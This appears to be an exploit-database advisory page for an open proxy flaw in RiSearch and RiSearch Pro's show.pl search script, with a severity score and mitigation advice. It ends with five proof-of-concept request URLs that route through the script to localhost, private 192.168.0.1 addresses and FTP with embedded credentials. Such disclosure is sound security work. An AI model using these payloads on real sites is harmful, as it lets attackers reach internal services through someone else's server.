RiSearch and RiSearch Pro Open Proxy Vulnerability

vendor:

RiSearch and RiSearch Pro

by:

7.5

CVSS

HIGH

Open Proxy

CWE

Product Name: RiSearch and RiSearch Pro

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

RiSearch and RiSearch Pro Open Proxy Vulnerability

RiSearch and RiSearch Pro are prone to an open proxy vulnerability due to a lack of sufficient sanitization on user-supplied URI parameters. A remote attacker can exploit this vulnerability to launch attacks against local and public services in the context of the vulnerable script's host site.

Mitigation:

It is recommended to update to a fixed version of RiSearch or RiSearch Pro that properly sanitizes user-supplied URI parameters.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/10812/info

RiSearch and RiSearch Pro are reported prone to an open proxy vulnerability. It is reported that the issue presents itself due to a lack of sufficient sanitization performed on user supplied URI parameters.

A remote attacker may exploit this condition in order to launch attacks against local and public services in the context of the site that is hosting the vulnerable script.

http://www.example.com/cgi-bin/search/show.pl?url=http://www.google.com
http://www.example.com/cgi-bin/search/show.pl?url=http://192.168.0.1
http://www.example.com/cgi-bin/search/show.pl?url=http://localhost:8080
http://www.example.com/cgi-bin/search/show.pl?url=ftp://192.168.0.1
http://www.example.com/cgi-bin/search/show.pl?url=ftp://username:password@192.168.0.1